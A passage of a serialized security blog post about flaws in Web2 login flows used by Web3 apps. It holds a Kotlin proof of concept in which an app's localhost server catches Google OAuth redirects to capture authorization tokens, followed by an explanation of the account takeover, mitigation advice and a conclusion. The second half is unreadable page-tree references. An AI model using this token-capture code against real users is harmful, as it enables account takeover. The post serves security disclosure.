Uri.",{"type":22,"tag":118,"props":72679,"children":72680},{"style":532},[72681],{"type":28,"value":41153},{"type":22,"tag":118,"props":72683,"children":72684},{"style":125},[72685],{"type":28,"value":72686},"(googleOAuthUrl))\n",{"type":22,"tag":118,"props":72688,"children":72689},{"class":120,"line":501},[72690,72695],{"type":22,"tag":118,"props":72691,"children":72692},{"style":532},[72693],{"type":28,"value":72694},"        startActivity",{"type":22,"tag":118,"props":72696,"children":72697},{"style":125},[72698],{"type":28,"value":72699},"(browserIntent)\n",{"type":22,"tag":118,"props":72701,"children":72702},{"class":120,"line":519},[72703],{"type":22,"tag":118,"props":72704,"children":72705},{"style":125},[72706],{"type":28,"value":1254},{"type":22,"tag":118,"props":72708,"children":72709},{"class":120,"line":606},[72710],{"type":22,"tag":118,"props":72711,"children":72712},{"emptyLinePlaceholder":15},[72713],{"type":28,"value":250},{"type":22,"tag":118,"props":72715,"children":72716},{"class":120,"line":615},[72717,72722,72726,72731],{"type":22,"tag":118,"props":72718,"children":72719},{"style":146},[72720],{"type":28,"value":72721},"    private",{"type":22,"tag":118,"props":72723,"children":72724},{"style":146},[72725],{"type":28,"value":8216},{"type":22,"tag":118,"props":72727,"children":72728},{"style":532},[72729],{"type":28,"value":72730}," startWebServer",{"type":22,"tag":118,"props":72732,"children":72733},{"style":125},[72734],{"type":28,"value":2215},{"type":22,"tag":118,"props":72736,"children":72737},{"class":120,"line":685},[72738,72743,72748,72752,72757],{"type":22,"tag":118,"props":72739,"children":72740},{"style":532},[72741],{"type":28,"value":72742},"        embeddedServer",{"type":22,"tag":118,"props":72744,"children":72745},{"style":125},[72746],{"type":28,"value":72747},"(CIO, port ",{"type":22,"tag":118,"props":72749,"children":72750},{"style":210},[72751],{"type":28,"value":282},{"type":22,"tag":118,"props":72753,"children":72754},{"style":674},[72755],{"type":28,"value":72756}," 3000",{"type":22,"tag":118,"props":72758,"children":72759},{"style":125},[72760],{"type":28,"value":16783},{"type":22,"tag":118,"props":72762,"children":72763},{"class":120,"line":699},[72764,72769],{"type":22,"tag":118,"props":72765,"children":72766},{"style":532},[72767],{"type":28,"value":72768},"            routing",{"type":22,"tag":118,"props":72770,"children":72771},{"style":125},[72772],{"type":28,"value":1474},{"type":22,"tag":118,"props":72774,"children":72775},{"class":120,"line":729},[72776,72781,72785,72790],{"type":22,"tag":118,"props":72777,"children":72778},{"style":146},[72779],{"type":28,"value":72780},"                get",{"type":22,"tag":118,"props":72782,"children":72783},{"style":125},[72784],{"type":28,"value":540},{"type":22,"tag":118,"props":72786,"children":72787},{"style":1866},[72788],{"type":28,"value":72789},"\"{...}\"",{"type":22,"tag":118,"props":72791,"children":72792},{"style":125},[72793],{"type":28,"value":16783},{"type":22,"tag":118,"props":72795,"children":72796},{"class":120,"line":771},[72797,72802,72807],{"type":22,"tag":118,"props":72798,"children":72799},{"style":125},[72800],{"type":28,"value":72801},"                    call.",{"type":22,"tag":118,"props":72803,"children":72804},{"style":532},[72805],{"type":28,"value":72806},"respondHtml",{"type":22,"tag":118,"props":72808,"children":72809},{"style":125},[72810],{"type":28,"value":1474},{"type":22,"tag":118,"props":72812,"children":72813},{"class":120,"line":785},[72814,72819],{"type":22,"tag":118,"props":72815,"children":72816},{"style":532},[72817],{"type":28,"value":72818},"                        head",{"type":22,"tag":118,"props":72820,"children":72821},{"style":125},[72822],{"type":28,"value":1474},{"type":22,"tag":118,"props":72824,"children":72825},{"class":120,"line":804},[72826,72831,72836,72840,72845],{"type":22,"tag":118,"props":72827,"children":72828},{"style":532},[72829],{"type":28,"value":72830},"                            meta",{"type":22,"tag":118,"props":72832,"children":72833},{"style":125},[72834],{"type":28,"value":72835},"(charset ",{"type":22,"tag":118,"props":72837,"children":72838},{"style":210},[72839],{"type":28,"value":282},{"type":22,"tag":118,"props":72841,"children":72842},{"style":1866},[72843],{"type":28,"value":72844}," \"UTF-8\"",{"type":22,"tag":118,"props":72846,"children":72847},{"style":125},[72848],{"type":28,"value":3665},{"type":22,"tag":118,"props":72850,"children":72851},{"class":120,"line":812},[72852,72856,72861,72865,72870,72875,72879,72884],{"type":22,"tag":118,"props":72853,"children":72854},{"style":532},[72855],{"type":28,"value":72830},{"type":22,"tag":118,"props":72857,"children":72858},{"style":125},[72859],{"type":28,"value":72860},"(name ",{"type":22,"tag":118,"props":72862,"children":72863},{"style":210},[72864],{"type":28,"value":282},{"type":22,"tag":118,"props":72866,"children":72867},{"style":1866},[72868],{"type":28,"value":72869}," \"viewport\"",{"type":22,"tag":118,"props":72871,"children":72872},{"style":125},[72873],{"type":28,"value":72874},", content ",{"type":22,"tag":118,"props":72876,"children":72877},{"style":210},[72878],{"type":28,"value":282},{"type":22,"tag":118,"props":72880,"children":72881},{"style":1866},[72882],{"type":28,"value":72883}," \"width=device-width, initial-scale=1.0\"",{"type":22,"tag":118,"props":72885,"children":72886},{"style":125},[72887],{"type":28,"value":3665},{"type":22,"tag":118,"props":72889,"children":72890},{"class":120,"line":821},[72891,72896,72900,72905],{"type":22,"tag":118,"props":72892,"children":72893},{"style":532},[72894],{"type":28,"value":72895},"                            title",{"type":22,"tag":118,"props":72897,"children":72898},{"style":125},[72899],{"type":28,"value":540},{"type":22,"tag":118,"props":72901,"children":72902},{"style":1866},[72903],{"type":28,"value":72904},"\"OAuth Redirect\"",{"type":22,"tag":118,"props":72906,"children":72907},{"style":125},[72908],{"type":28,"value":3665},{"type":22,"tag":118,"props":72910,"children":72911},{"class":120,"line":900},[72912],{"type":22,"tag":118,"props":72913,"children":72914},{"style":125},[72915],{"type":28,"value":72916},"                        }\n",{"type":22,"tag":118,"props":72918,"children":72919},{"class":120,"line":913},[72920,72925],{"type":22,"tag":118,"props":72921,"children":72922},{"style":532},[72923],{"type":28,"value":72924},"                        body",{"type":22,"tag":118,"props":72926,"children":72927},{"style":125},[72928],{"type":28,"value":1474},{"type":22,"tag":118,"props":72930,"children":72931},{"class":120,"line":953},[72932,72937,72941,72945,72950],{"type":22,"tag":118,"props":72933,"children":72934},{"style":532},[72935],{"type":28,"value":72936},"                            h1",{"type":22,"tag":118,"props":72938,"children":72939},{"style":125},[72940],{"type":28,"value":11584},{"type":22,"tag":118,"props":72942,"children":72943},{"style":210},[72944],{"type":28,"value":3220},{"type":22,"tag":118,"props":72946,"children":72947},{"style":1866},[72948],{"type":28,"value":72949},"\"Google OAuth Redirect\"",{"type":22,"tag":118,"props":72951,"children":72952},{"style":125},[72953],{"type":28,"value":11594},{"type":22,"tag":118,"props":72955,"children":72956},{"class":120,"line":982},[72957,72962],{"type":22,"tag":118,"props":72958,"children":72959},{"style":532},[72960],{"type":28,"value":72961},"                            script",{"type":22,"tag":118,"props":72963,"children":72964},{"style":125},[72965],{"type":28,"value":1474},{"type":22,"tag":118,"props":72967,"children":72968},{"class":120,"line":995},[72969,72974],{"type":22,"tag":118,"props":72970,"children":72971},{"style":210},[72972],{"type":28,"value":72973},"                                +",{"type":22,"tag":118,"props":72975,"children":72976},{"style":1866},[72977],{"type":28,"value":72978},"\"document.body.innerText = location.search;\"\n",{"type":22,"tag":118,"props":72980,"children":72981},{"class":120,"line":1011},[72982],{"type":22,"tag":118,"props":72983,"children":72984},{"style":125},[72985],{"type":28,"value":72986},"                            }\n",{"type":22,"tag":118,"props":72988,"children":72989},{"class":120,"line":1019},[72990],{"type":22,"tag":118,"props":72991,"children":72992},{"style":125},[72993],{"type":28,"value":72916},{"type":22,"tag":118,"props":72995,"children":72996},{"class":120,"line":1028},[72997],{"type":22,"tag":118,"props":72998,"children":72999},{"style":125},[73000],{"type":28,"value":1811},{"type":22,"tag":118,"props":73002,"children":73003},{"class":120,"line":1101},[73004],{"type":22,"tag":118,"props":73005,"children":73006},{"style":125},[73007],{"type":28,"value":1819},{"type":22,"tag":118,"props":73009,"children":73010},{"class":120,"line":1146},[73011],{"type":22,"tag":118,"props":73012,"children":73013},{"style":125},[73014],{"type":28,"value":1827},{"type":22,"tag":118,"props":73016,"children":73017},{"class":120,"line":1226},[73018,73023,73028,73033,73037,73041],{"type":22,"tag":118,"props":73019,"children":73020},{"style":125},[73021],{"type":28,"value":73022},"        }.",{"type":22,"tag":118,"props":73024,"children":73025},{"style":532},[73026],{"type":28,"value":73027},"start",{"type":22,"tag":118,"props":73029,"children":73030},{"style":125},[73031],{"type":28,"value":73032},"(wait ",{"type":22,"tag":118,"props":73034,"children":73035},{"style":210},[73036],{"type":28,"value":282},{"type":22,"tag":118,"props":73038,"children":73039},{"style":146},[73040],{"type":28,"value":1537},{"type":22,"tag":118,"props":73042,"children":73043},{"style":125},[73044],{"type":28,"value":3665},{"type":22,"tag":118,"props":73046,"children":73047},{"class":120,"line":1234},[73048],{"type":22,"tag":118,"props":73049,"children":73050},{"style":125},[73051],{"type":28,"value":1254},{"type":22,"tag":118,"props":73053,"children":73054},{"class":120,"line":1248},[73055],{"type":22,"tag":118,"props":73056,"children":73057},{"style":125},[73058],{"type":28,"value":481},{"type":22,"tag":31,"props":73060,"children":73061},{},[73062],{"type":28,"value":73063},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":22,"tag":31,"props":73065,"children":73066},{},[73067],{"type":28,"value":73068},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":22,"tag":1289,"props":73070,"children":73072},{"id":73071},"mitigation-1",[73073],{"type":28,"value":42278},{"type":22,"tag":31,"props":73075,"children":73076},{},[73077,73079,73084],{"type":28,"value":73078},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":22,"tag":114,"props":73080,"children":73082},{"className":73081},[],[73083],{"type":28,"value":71704},{"type":28,"value":73085}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":22,"tag":23,"props":73087,"children":73088},{"id":30872},[73089],{"type":28,"value":20914},{"type":22,"tag":31,"props":73091,"children":73092},{},[73093],{"type":28,"value":73094},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":22,"tag":31,"props":73096,"children":73097},{},[73098],{"type":28,"value":73099},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":22,"tag":4880,"props":73101,"children":73102},{},[73103],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":73105},[73106,73113,73118,73121],{"id":71472,"depth":142,"text":71475,"children":73107},[73108,73109,73110,73111,73112],{"id":71483,"depth":177,"text":71486},{"id":71510,"depth":177,"text":71513},{"id":71571,"depth":177,"text":71574},{"id":71628,"depth":177,"text":71631},{"id":71727,"depth":177,"text":71730},{"id":71773,"depth":142,"text":71776,"children":73114},[73115,73116,73117],{"id":71779,"depth":177,"text":71782},{"id":71806,"depth":177,"text":71809},{"id":42275,"depth":177,"text":42278},{"id":72255,"depth":142,"text":72258,"children":73119},[73120],{"id":73071,"depth":177,"text":42278},{"id":30872,"depth":142,"text":20914},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":73126,"date":14,"isFeatured":15,"tags":73127,"onBlogPage":15,"body":73128,"_type":4896,"_id":4897,"_source":4898,"_file":4899,"_stem":4900,"_extension":4901},{"src":12,"height":13,"width":13},[17],{"type":19,"children":73129,"toc":77438},[73130,73134,73138,73148,73152,73156,73180,73184,73188,74186,74190,74197,74201,74205,74209,74218,74247,74256,74266,74276,74694,74698,74738,74742,74746,74822,74826,74836,74846,75483,75487,75496,75500,75510,75519,75661,75671,75686,75702,75706,75710,76046,76050,76054,76068,76078,76668,76672,76688,76692,76696,76700,76710,76725,76888,76892,76896,77196,77212,77221,77231,77309,77325,77335,77339,77348,77352,77356,77376,77386,77390,77399,77403,77407,77411,77415,77430,77434],{"type":22,"tag":23,"props":73131,"children":73132},{"id":25},[73133],{"type":28,"value":29},{"type":22,"tag":31,"props":73135,"children":73136},{},[73137],{"type":28,"value":35},{"type":22,"tag":31,"props":73139,"children":73140},{},[73141,73142,73147],{"type":28,"value":40},{"type":22,"tag":42,"props":73143,"children":73145},{"href":44,"rel":73144},[46],[73146],{"type":28,"value":49},{"type":28,"value":51},{"type":22,"tag":23,"props":73149,"children":73150},{"id":54},[73151],{"type":28,"value":57},{"type":22,"tag":31,"props":73153,"children":73154},{},[73155],{"type":28,"value":62},{"type":22,"tag":64,"props":73157,"children":73158},{},[73159,73168,73172,73176],{"type":22,"tag":68,"props":73160,"children":73161},{},[73162,73163,73167],{"type":28,"value":72},{"type":22,"tag":74,"props":73164,"children":73165},{},[73166],{"type":28,"value":78},{"type":28,"value":80},{"type":22,"tag":68,"props":73169,"children":73170},{},[73171],{"type":28,"value":85},{"type":22,"tag":68,"props":73173,"children":73174},{},[73175],{"type":28,"value":90},{"type":22,"tag":68,"props":73177,"children":73178},{},[73179],{"type":28,"value":95},{"type":22,"tag":31,"props":73181,"children":73182},{},[73183],{"type":28,"value":100},{"type":22,"tag":31,"props":73185,"children":73186},{},[73187],{"type":28,"value":105},{"type":22,"tag":107,"props":73189,"children":73190},{"className":109,"code":110,"language":111,"meta":7,"style":7},[73191],{"type":22,"tag":114,"props":73192,"children":73193},{"__ignoreMap":7},[73194,73209,73236,73251,73290,73297,73304,73351,73382,73389,73396,73411,73442,73449,73464,73495,73502,73509,73516,73531,73602,73609,73668,73679,73706,73745,73756,73771,73778,73785,73856,73867,73906,73933,73944,73959,73966,73973,74040,74083,74154,74161,74172,74179],{"type":22,"tag":118,"props":73195,"children":73196},{"class":120,"line":121},[73197,73201,73205],{"type":22,"tag":118,"props":73198,"children":73199},{"style":125},[73200],{"type":28,"value":128},{"type":22,"tag":118,"props":73202,"children":73203},{"style":131},[73204],{"type":28,"value":134},{"type":22,"tag":118,"props":73206,"children":73207},{"style":125},[73208],{"type":28,"value":139},{"type":22,"tag":118,"props":73210,"children":73211},{"class":120,"line":142},[73212,73216,73220,73224,73228,73232],{"type":22,"tag":118,"props":73213,"children":73214},{"style":146},[73215],{"type":28,"value":149},{"type":22,"tag":118,"props":73217,"children":73218},{"style":146},[73219],{"type":28,"value":154},{"type":22,"tag":118,"props":73221,"children":73222},{"style":131},[73223],{"type":28,"value":159},{"type":22,"tag":118,"props":73225,"children":73226},{"style":125},[73227],{"type":28,"value":164},{"type":22,"tag":118,"props":73229,"children":73230},{"style":131},[73231],{"type":28,"value":169},{"type":22,"tag":118,"props":73233,"children":73234},{"style":125},[73235],{"type":28,"value":174},{"type":22,"tag":118,"props":73237,"children":73238},{"class":120,"line":177},[73239,73243,73247],{"type":22,"tag":118,"props":73240,"children":73241},{"style":125},[73242],{"type":28,"value":183},{"type":22,"tag":118,"props":73244,"children":73245},{"style":146},[73246],{"type":28,"value":188},{"type":22,"tag":118,"props":73248,"children":73249},{"style":125},[73250],{"type":28,"value":139},{"type":22,"tag":118,"props":73252,"children":73253},{"class":120,"line":195},[73254,73258,73262,73266,73270,73274,73278,73282,73286],{"type":22,"tag":118,"props":73255,"children":73256},{"style":146},[73257],{"type":28,"value":201},{"type":22,"tag":118,"props":73259,"children":73260},{"style":204},[73261],{"type":28,"value":207},{"type":22,"tag":118,"props":73263,"children":73264},{"style":210},[73265],{"type":28,"value":213},{"type":22,"tag":118,"props":73267,"children":73268},{"style":131},[73269],{"type":28,"value":218},{"type":22,"tag":118,"props":73271,"children":73272},{"style":125},[73273],{"type":28,"value":164},{"type":22,"tag":118,"props":73275,"children":73276},{"style":131},[73277],{"type":28,"value":169},{"type":22,"tag":118,"props":73279,"children":73280},{"style":125},[73281],{"type":28,"value":231},{"type":22,"tag":118,"props":73283,"children":73284},{"style":131},[73285],{"type":28,"value":236},{"type":22,"tag":118,"props":73287,"children":73288},{"style":125},[73289],{"type":28,"value":241},{"type":22,"tag":118,"props":73291,"children":73292},{"class":120,"line":244},[73293],{"type":22,"tag":118,"props":73294,"children":73295},{"emptyLinePlaceholder":15},[73296],{"type":28,"value":250},{"type":22,"tag":118,"props":73298,"children":73299},{"class":120,"line":253},[73300],{"type":22,"tag":118,"props":73301,"children":73302},{"style":257},[73303],{"type":28,"value":260},{"type":22,"tag":118,"props":73305,"children":73306},{"class":120,"line":263},[73307,73311,73315,73319,73323,73327,73331,73335,73339,73343,73347],{"type":22,"tag":118,"props":73308,"children":73309},{"style":125},[73310],{"type":28,"value":183},{"type":22,"tag":118,"props":73312,"children":73313},{"style":146},[73314],{"type":28,"value":188},{"type":22,"tag":118,"props":73316,"children":73317},{"style":125},[73318],{"type":28,"value":277},{"type":22,"tag":118,"props":73320,"children":73321},{"style":210},[73322],{"type":28,"value":282},{"type":22,"tag":118,"props":73324,"children":73325},{"style":125},[73326],{"type":28,"value":287},{"type":22,"tag":118,"props":73328,"children":73329},{"style":210},[73330],{"type":28,"value":292},{"type":22,"tag":118,"props":73332,"children":73333},{"style":125},[73334],{"type":28,"value":297},{"type":22,"tag":118,"props":73336,"children":73337},{"style":210},[73338],{"type":28,"value":302},{"type":22,"tag":118,"props":73340,"children":73341},{"style":125},[73342],{"type":28,"value":207},{"type":22,"tag":118,"props":73344,"children":73345},{"style":210},[73346],{"type":28,"value":292},{"type":22,"tag":118,"props":73348,"children":73349},{"style":125},[73350],{"type":28,"value":315},{"type":22,"tag":118,"props":73352,"children":73353},{"class":120,"line":318},[73354,73358,73362,73366,73370,73374,73378],{"type":22,"tag":118,"props":73355,"children":73356},{"style":146},[73357],{"type":28,"value":201},{"type":22,"tag":118,"props":73359,"children":73360},{"style":204},[73361],{"type":28,"value":287},{"type":22,"tag":118,"props":73363,"children":73364},{"style":210},[73365],{"type":28,"value":213},{"type":22,"tag":118,"props":73367,"children":73368},{"style":131},[73369],{"type":28,"value":336},{"type":22,"tag":118,"props":73371,"children":73372},{"style":125},[73373],{"type":28,"value":164},{"type":22,"tag":118,"props":73375,"children":73376},{"style":131},[73377],{"type":28,"value":169},{"type":22,"tag":118,"props":73379,"children":73380},{"style":125},[73381],{"type":28,"value":241},{"type":22,"tag":118,"props":73383,"children":73384},{"class":120,"line":351},[73385],{"type":22,"tag":118,"props":73386,"children":73387},{"emptyLinePlaceholder":15},[73388],{"type":28,"value":250},{"type":22,"tag":118,"props":73390,"children":73391},{"class":120,"line":359},[73392],{"type":22,"tag":118,"props":73393,"children":73394},{"style":257},[73395],{"type":28,"value":365},{"type":22,"tag":118,"props":73397,"children":73398},{"class":120,"line":368},[73399,73403,73407],{"type":22,"tag":118,"props":73400,"children":73401},{"style":125},[73402],{"type":28,"value":183},{"type":22,"tag":118,"props":73404,"children":73405},{"style":146},[73406],{"type":28,"value":188},{"type":22,"tag":118,"props":73408,"children":73409},{"style":125},[73410],{"type":28,"value":139},{"type":22,"tag":118,"props":73412,"children":73413},{"class":120,"line":384},[73414,73418,73422,73426,73430,73434,73438],{"type":22,"tag":118,"props":73415,"children":73416},{"style":146},[73417],{"type":28,"value":201},{"type":22,"tag":118,"props":73419,"children":73420},{"style":204},[73421],{"type":28,"value":394},{"type":22,"tag":118,"props":73423,"children":73424},{"style":210},[73425],{"type":28,"value":213},{"type":22,"tag":118,"props":73427,"children":73428},{"style":131},[73429],{"type":28,"value":336},{"type":22,"tag":118,"props":73431,"children":73432},{"style":125},[73433],{"type":28,"value":164},{"type":22,"tag":118,"props":73435,"children":73436},{"style":131},[73437],{"type":28,"value":169},{"type":22,"tag":118,"props":73439,"children":73440},{"style":125},[73441],{"type":28,"value":241},{"type":22,"tag":118,"props":73443,"children":73444},{"class":120,"line":417},[73445],{"type":22,"tag":118,"props":73446,"children":73447},{"emptyLinePlaceholder":15},[73448],{"type":28,"value":250},{"type":22,"tag":118,"props":73450,"children":73451},{"class":120,"line":425},[73452,73456,73460],{"type":22,"tag":118,"props":73453,"children":73454},{"style":125},[73455],{"type":28,"value":183},{"type":22,"tag":118,"props":73457,"children":73458},{"style":146},[73459],{"type":28,"value":188},{"type":22,"tag":118,"props":73461,"children":73462},{"style":125},[73463],{"type":28,"value":139},{"type":22,"tag":118,"props":73465,"children":73466},{"class":120,"line":441},[73467,73471,73475,73479,73483,73487,73491],{"type":22,"tag":118,"props":73468,"children":73469},{"style":146},[73470],{"type":28,"value":201},{"type":22,"tag":118,"props":73472,"children":73473},{"style":204},[73474],{"type":28,"value":451},{"type":22,"tag":118,"props":73476,"children":73477},{"style":210},[73478],{"type":28,"value":213},{"type":22,"tag":118,"props":73480,"children":73481},{"style":131},[73482],{"type":28,"value":460},{"type":22,"tag":118,"props":73484,"children":73485},{"style":125},[73486],{"type":28,"value":164},{"type":22,"tag":118,"props":73488,"children":73489},{"style":131},[73490],{"type":28,"value":169},{"type":22,"tag":118,"props":73492,"children":73493},{"style":125},[73494],{"type":28,"value":241},{"type":22,"tag":118,"props":73496,"children":73497},{"class":120,"line":475},[73498],{"type":22,"tag":118,"props":73499,"children":73500},{"style":125},[73501],{"type":28,"value":481},{"type":22,"tag":118,"props":73503,"children":73504},{"class":120,"line":484},[73505],{"type":22,"tag":118,"props":73506,"children":73507},{"emptyLinePlaceholder":15},[73508],{"type":28,"value":250},{"type":22,"tag":118,"props":73510,"children":73511},{"class":120,"line":492},[73512],{"type":22,"tag":118,"props":73513,"children":73514},{"style":125},[73515],{"type":28,"value":498},{"type":22,"tag":118,"props":73517,"children":73518},{"class":120,"line":501},[73519,73523,73527],{"type":22,"tag":118,"props":73520,"children":73521},{"style":146},[73522],{"type":28,"value":149},{"type":22,"tag":118,"props":73524,"children":73525},{"style":146},[73526],{"type":28,"value":511},{"type":22,"tag":118,"props":73528,"children":73529},{"style":125},[73530],{"type":28,"value":516},{"type":22,"tag":118,"props":73532,"children":73533},{"class":120,"line":519},[73534,73538,73542,73546,73550,73554,73558,73562,73566,73570,73574,73578,73582,73586,73590,73594,73598],{"type":22,"tag":118,"props":73535,"children":73536},{"style":146},[73537],{"type":28,"value":201},{"type":22,"tag":118,"props":73539,"children":73540},{"style":146},[73541],{"type":28,"value":529},{"type":22,"tag":118,"props":73543,"children":73544},{"style":532},[73545],{"type":28,"value":535},{"type":22,"tag":118,"props":73547,"children":73548},{"style":125},[73549],{"type":28,"value":540},{"type":22,"tag":118,"props":73551,"children":73552},{"style":204},[73553],{"type":28,"value":545},{"type":22,"tag":118,"props":73555,"children":73556},{"style":210},[73557],{"type":28,"value":213},{"type":22,"tag":118,"props":73559,"children":73560},{"style":131},[73561],{"type":28,"value":554},{"type":22,"tag":118,"props":73563,"children":73564},{"style":125},[73565],{"type":28,"value":559},{"type":22,"tag":118,"props":73567,"children":73568},{"style":131},[73569],{"type":28,"value":564},{"type":22,"tag":118,"props":73571,"children":73572},{"style":125},[73573],{"type":28,"value":569},{"type":22,"tag":118,"props":73575,"children":73576},{"style":204},[73577],{"type":28,"value":574},{"type":22,"tag":118,"props":73579,"children":73580},{"style":210},[73581],{"type":28,"value":213},{"type":22,"tag":118,"props":73583,"children":73584},{"style":131},[73585],{"type":28,"value":583},{"type":22,"tag":118,"props":73587,"children":73588},{"style":125},[73589],{"type":28,"value":588},{"type":22,"tag":118,"props":73591,"children":73592},{"style":210},[73593],{"type":28,"value":593},{"type":22,"tag":118,"props":73595,"children":73596},{"style":131},[73597],{"type":28,"value":598},{"type":22,"tag":118,"props":73599,"children":73600},{"style":125},[73601],{"type":28,"value":603},{"type":22,"tag":118,"props":73603,"children":73604},{"class":120,"line":606},[73605],{"type":22,"tag":118,"props":73606,"children":73607},{"style":257},[73608],{"type":28,"value":612},{"type":22,"tag":118,"props":73610,"children":73611},{"class":120,"line":615},[73612,73616,73620,73624,73628,73632,73636,73640,73644,73648,73652,73656,73660,73664],{"type":22,"tag":118,"props":73613,"children":73614},{"style":532},[73615],{"type":28,"value":621},{"type":22,"tag":118,"props":73617,"children":73618},{"style":125},[73619],{"type":28,"value":540},{"type":22,"tag":118,"props":73621,"children":73622},{"style":204},[73623],{"type":28,"value":574},{"type":22,"tag":118,"props":73625,"children":73626},{"style":210},[73627],{"type":28,"value":634},{"type":22,"tag":118,"props":73629,"children":73630},{"style":204},[73631],{"type":28,"value":639},{"type":22,"tag":118,"props":73633,"children":73634},{"style":210},[73635],{"type":28,"value":292},{"type":22,"tag":118,"props":73637,"children":73638},{"style":125},[73639],{"type":28,"value":648},{"type":22,"tag":118,"props":73641,"children":73642},{"style":210},[73643],{"type":28,"value":292},{"type":22,"tag":118,"props":73645,"children":73646},{"style":125},[73647],{"type":28,"value":657},{"type":22,"tag":118,"props":73649,"children":73650},{"style":210},[73651],{"type":28,"value":292},{"type":22,"tag":118,"props":73653,"children":73654},{"style":125},[73655],{"type":28,"value":666},{"type":22,"tag":118,"props":73657,"children":73658},{"style":210},[73659],{"type":28,"value":671},{"type":22,"tag":118,"props":73661,"children":73662},{"style":674},[73663],{"type":28,"value":677},{"type":22,"tag":118,"props":73665,"children":73666},{"style":125},[73667],{"type":28,"value":682},{"type":22,"tag":118,"props":73669,"children":73670},{"class":120,"line":685},[73671,73675],{"type":22,"tag":118,"props":73672,"children":73673},{"style":532},[73674],{"type":28,"value":691},{"type":22,"tag":118,"props":73676,"children":73677},{"style":125},[73678],{"type":28,"value":696},{"type":22,"tag":118,"props":73680,"children":73681},{"class":120,"line":699},[73682,73686,73690,73694,73698,73702],{"type":22,"tag":118,"props":73683,"children":73684},{"style":210},[73685],{"type":28,"value":705},{"type":22,"tag":118,"props":73687,"children":73688},{"style":204},[73689],{"type":28,"value":545},{"type":22,"tag":118,"props":73691,"children":73692},{"style":210},[73693],{"type":28,"value":292},{"type":22,"tag":118,"props":73695,"children":73696},{"style":125},[73697],{"type":28,"value":648},{"type":22,"tag":118,"props":73699,"children":73700},{"style":210},[73701],{"type":28,"value":292},{"type":22,"tag":118,"props":73703,"children":73704},{"style":125},[73705],{"type":28,"value":726},{"type":22,"tag":118,"props":73707,"children":73708},{"class":120,"line":729},[73709,73713,73717,73721,73725,73729,73733,73737,73741],{"type":22,"tag":118,"props":73710,"children":73711},{"style":210},[73712],{"type":28,"value":705},{"type":22,"tag":118,"props":73714,"children":73715},{"style":204},[73716],{"type":28,"value":545},{"type":22,"tag":118,"props":73718,"children":73719},{"style":210},[73720],{"type":28,"value":292},{"type":22,"tag":118,"props":73722,"children":73723},{"style":125},[73724],{"type":28,"value":648},{"type":22,"tag":118,"props":73726,"children":73727},{"style":210},[73728],{"type":28,"value":292},{"type":22,"tag":118,"props":73730,"children":73731},{"style":125},[73732],{"type":28,"value":657},{"type":22,"tag":118,"props":73734,"children":73735},{"style":210},[73736],{"type":28,"value":292},{"type":22,"tag":118,"props":73738,"children":73739},{"style":532},[73740],{"type":28,"value":763},{"type":22,"tag":118,"props":73742,"children":73743},{"style":125},[73744],{"type":28,"value":768},{"type":22,"tag":118,"props":73746,"children":73747},{"class":120,"line":771},[73748,73752],{"type":22,"tag":118,"props":73749,"children":73750},{"style":204},[73751],{"type":28,"value":777},{"type":22,"tag":118,"props":73753,"children":73754},{"style":125},[73755],{"type":28,"value":782},{"type":22,"tag":118,"props":73757,"children":73758},{"class":120,"line":785},[73759,73763,73767],{"type":22,"tag":118,"props":73760,"children":73761},{"style":125},[73762],{"type":28,"value":791},{"type":22,"tag":118,"props":73764,"children":73765},{"style":210},[73766],{"type":28,"value":796},{"type":22,"tag":118,"props":73768,"children":73769},{"style":125},[73770],{"type":28,"value":801},{"type":22,"tag":118,"props":73772,"children":73773},{"class":120,"line":804},[73774],{"type":22,"tag":118,"props":73775,"children":73776},{"emptyLinePlaceholder":15},[73777],{"type":28,"value":250},{"type":22,"tag":118,"props":73779,"children":73780},{"class":120,"line":812},[73781],{"type":22,"tag":118,"props":73782,"children":73783},{"style":257},[73784],{"type":28,"value":818},{"type":22,"tag":118,"props":73786,"children":73787},{"class":120,"line":821},[73788,73792,73796,73800,73804,73808,73812,73816,73820,73824,73828,73832,73836,73840,73844,73848,73852],{"type":22,"tag":118,"props":73789,"children":73790},{"style":146},[73791],{"type":28,"value":827},{"type":22,"tag":118,"props":73793,"children":73794},{"style":204},[73795],{"type":28,"value":832},{"type":22,"tag":118,"props":73797,"children":73798},{"style":210},[73799],{"type":28,"value":837},{"type":22,"tag":118,"props":73801,"children":73802},{"style":125},[73803],{"type":28,"value":842},{"type":22,"tag":118,"props":73805,"children":73806},{"style":204},[73807],{"type":28,"value":545},{"type":22,"tag":118,"props":73809,"children":73810},{"style":210},[73811],{"type":28,"value":292},{"type":22,"tag":118,"props":73813,"children":73814},{"style":125},[73815],{"type":28,"value":648},{"type":22,"tag":118,"props":73817,"children":73818},{"style":210},[73819],{"type":28,"value":292},{"type":22,"tag":118,"props":73821,"children":73822},{"style":125},[73823],{"type":28,"value":657},{"type":22,"tag":118,"props":73825,"children":73826},{"style":210},[73827],{"type":28,"value":292},{"type":22,"tag":118,"props":73829,"children":73830},{"style":125},[73831],{"type":28,"value":666},{"type":22,"tag":118,"props":73833,"children":73834},{"style":210},[73835],{"type":28,"value":671},{"type":22,"tag":118,"props":73837,"children":73838},{"style":674},[73839],{"type":28,"value":879},{"type":22,"tag":118,"props":73841,"children":73842},{"style":125},[73843],{"type":28,"value":588},{"type":22,"tag":118,"props":73845,"children":73846},{"style":210},[73847],{"type":28,"value":888},{"type":22,"tag":118,